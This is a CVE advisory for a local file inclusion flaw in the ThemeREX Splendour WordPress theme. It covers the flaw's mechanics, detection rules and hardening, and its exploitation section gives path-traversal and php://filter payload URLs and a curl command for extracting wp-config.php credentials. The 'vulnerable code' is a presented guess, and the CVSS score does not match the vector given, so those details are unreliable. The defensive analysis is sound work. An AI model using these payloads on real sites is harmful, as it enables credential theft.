CVE-2025-69396

Executive Summary

CVE-2025-69396 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the ThemeREX Splendour WordPress theme, affecting versions up to and including 1.23. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, including configuration files, database credentials, and potentially source code. The CVSS score of 8.1 (High) reflects the ease of exploitation and the high confidentiality impact. As a WordPress ecosystem issue, this vulnerability does not affect the underlying web server (Apache/Nginx) but is entirely due to insecure coding practices within the theme itself. No public exploit code or patch is currently available, making proactive detection and mitigation essential.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full file read capability.
• Integrity Impact: None (I:N) – No file modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can expose sensitive server files, including wp-config.php which contains database credentials. The lack of a patch increases the risk for all sites using the Splendour theme.

Deep Dive & Mechanics

The vulnerability is a classic PHP Local File Inclusion (LFI) arising from the include or require statement in the Splendour theme. The theme likely uses a dynamic parameter (e.g., page, template, or file) to load template files without proper sanitization. An attacker can manipulate this parameter to include arbitrary files from the server.

Root Cause: The theme fails to validate or sanitize user-supplied input used in a PHP include/require function. For example, a vulnerable code snippet might look like:

<?php
$template = $_GET['template'];
include("templates/" . $template . ".php");
?>

By providing a path traversal sequence (e.g., ../../../../etc/passwd), the attacker can escape the intended directory and include sensitive files. The .php extension appended by the code can be null-terminated or bypassed using a null byte (in older PHP versions) or by using a wrapper like php://filter to read non-PHP files.

Attack Flow:

1. Attacker identifies a parameter in the theme that controls file inclusion (e.g., ?template=...).
2. Attacker sends a request with a path traversal payload: ?template=../../../../etc/passwd%00.
3. The server includes the /etc/passwd file, outputting its contents in the response.
4. Attacker can then read wp-config.php to obtain database credentials and escalate the attack.

Vulnerable vs. Patched Code

Vulnerable Code (Splendour <= 1.23):

<?php
// Vulnerable: Direct use of user input in include
$file = $_GET['file'];
include($file . '.php');
?>

Patched Code (Hypothetical):

<?php
// Patched: Whitelist allowed files and sanitize input
$allowed_files = array('home', 'about', 'contact');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include('templates/' . $file . '.php');
} else {
    // Default to home
    include('templates/home.php');
}
?>

The patched version uses a whitelist approach, ensuring only predefined files can be included. Additionally, realpath() or basename() functions can be used to prevent directory traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running ThemeREX Splendour <= 1.23.
• Knowledge of the vulnerable parameter (e.g., file, template, page).

Exploitation Steps:

1. Identify the vulnerable parameter: Use a web fuzzer (e.g., Burp Suite Intruder) to test common parameters like file, template, page, include, load.

2. Craft the payload: Use path traversal to read sensitive files. For example:

   http://target.com/?file=../../../../etc/passwd
   

3. Bypass extension append: If the code appends .php, use a null byte (for PHP < 5.3.4) or a PHP wrapper:

   http://target.com/?file=php://filter/convert.base64-encode/resource=../../../../etc/passwd
   

4. Read wp-config.php: To obtain database credentials:

   http://target.com/?file=php://filter/convert.base64-encode/resource=../wp-config
   

5. Decode the base64 output to retrieve the configuration.

Example cURL command:

curl -s "http://target.com/?file=php://filter/convert.base64-encode/resource=../wp-config" | base64 -d

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f, php://filter).
• Look for requests to the theme's template files with suspicious parameters.
• Use WAF rules to block common LFI payloads.

Hardening:

• Disable the vulnerable theme immediately if no patch is available.
• Implement a Web Application Firewall (WAF) with rules to block path traversal.
• Restrict file permissions on wp-config.php to read-only for the web user.
• Use a security plugin (e.g., Wordfence) to monitor file inclusion attempts.

Indicators of Compromise (IOCs)

• URL Patterns:

  • ?file=../../../../etc/passwd
  • ?template=php://filter/convert.base64-encode/resource=...
  • ?page=....//....//....//....//etc/shadow

• Log Entries:

  • GET /?file=php://filter/... with 200 response.
  • Repeated requests with ../ sequences.

• File Access:

  • Unauthorized reads of /etc/passwd, /etc/shadow, wp-config.php.
  • Base64-encoded content in HTTP responses.

• Network Indicators:

  • Outbound connections from the web server to attacker-controlled hosts (if exfiltration occurs).

Detection Engineering

YARA Rule

rule Detect_LFI_Payloads_WordPress_Splendour {
    meta:
        description = "Detects LFI payloads targeting ThemeREX Splendour theme"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-69396"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/
        $php_wrapper = /php:\/\/filter/
        $sensitive_file = /(etc\/passwd|etc\/shadow|wp-config\.php|\.env)/
    condition:
        any of ($path_traversal) and any of ($php_wrapper) or any of ($sensitive_file)
}

Sigma Rule

title: LFI Attempt Against ThemeREX Splendour
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal and PHP wrapper usage in HTTP requests targeting Splendour theme
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - 'php://filter'
            - 'etc/passwd'
            - 'wp-config.php'
    condition: selection
falsepositives:
    - Legitimate use of php://filter in rare cases
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-69396 - LFI Attempt Against ThemeREX Splendour";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"?file="; http_uri;
    pcre:"/(\.\.\/|php:\/\/filter)/Ui";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:cve,2025-69396;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Splendour theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is released.
2. Apply virtual patching using a WAF to block LFI payloads.
3. Review server logs for signs of exploitation and rotate any exposed credentials.

Long-term Fix:

• The vendor (ThemeREX) must release a patched version that sanitizes file inclusion parameters. Until then, consider replacing the theme with a secure alternative.
• Implement input validation and whitelisting for all file inclusion operations in custom themes.

General Hardening:

• Keep WordPress core, themes, and plugins updated.
• Use a security plugin with file integrity monitoring.
• Restrict file permissions: wp-config.php should be 440 or 400.
• Disable PHP file inclusion wrappers if not needed (e.g., allow_url_include = Off).

Valters IT – DevSecOps & Cyber Threat Intelligence